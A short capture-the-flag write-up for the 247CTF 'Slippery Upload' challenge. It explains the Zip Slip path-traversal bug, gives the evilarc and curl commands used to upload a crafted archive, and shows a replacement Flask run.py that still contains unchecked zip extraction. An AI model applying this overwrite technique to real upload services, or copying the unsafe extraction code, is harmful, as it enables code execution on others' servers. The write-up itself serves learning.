A beautiful web challenge Slippery Upload from 247CTF.com, here is my way…
Can you abuse the zip upload and extraction service to gain code execution on the server?
This one was easy, even if I did not know about it.
Duckduckgo for “zip vulnerability” will push you to the good first result.
So there is a “Zip Slip”
The vulnerability is exploited using a specially crafted archive that holds directory traversal filenames (e.g. ../../evil.sh). The Zip Slip vulnerability can affect numerous archive formats, including tar, jar, war, cpio, apk, rar and 7z.
Normal archiving programs check for the directory traversal in filenames, but in majority of the programming languages, that security aspect is left in the hands of the creator. If they forget about it, well read along.
I have used evilarc.
./evilarc.py run.py -o unix -p app/
Good old cURL:
curl -X POST -Fzarchive=@evil.zip https://10382c7e429d0159.247ctf.com/zip_upload
Important parts:
UPLOAD_FOLDER
is /tmp/uploads
, so basically we need to traverse two parent folders (but you can just use the default 8 from evilarc, one can’t go higher than root /
)/open/run.py
tells us what file can we overwriteI recommend you to test the solution in the local environment, as line breaks in python can create a mess (Internal Server Error).
from flask import Flask, request
import zipfile, os
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)
app.config['MAX_CONTENT_LENGTH'] = 1 * 1024 * 1024
app.config['UPLOAD_FOLDER'] = '/tmp/uploads/'
@app.route('/flag')
def flag():
f = open(os.listdir()[1], 'r')
contents = f.read()
return contents
@app.route('/')
def source():
return '%s' % open('/app/run.py').read()
def zip_extract(zarchive):
with zipfile.ZipFile(zarchive, 'r') as z:
for i in z.infolist():
with open(os.path.join(app.config['UPLOAD_FOLDER'], i.filename), 'wb') as f:
f.write(z.open(i.filename, 'r').read())
@app.route('/zip_upload', methods=['POST'])
def zip_upload():
try:
if request.files and 'zarchive' in request.files:
zarchive = request.files['zarchive']
if zarchive and '.' in zarchive.filename and zarchive.filename.rsplit('.', 1)[1].lower() == 'zip' and zarchive.content_type == 'application/octet-stream':
zpath = os.path.join(app.config['UPLOAD_FOLDER'], '%s.zip' % os.urandom(8).hex())
zarchive.save(zpath)
zip_extract(zpath)
return 'Zip archive uploaded and extracted!'
return 'Only valid zip archives are accepted!'
except:
return 'Error occured during the zip upload process!'
if __name__ == '__main__':
app.run()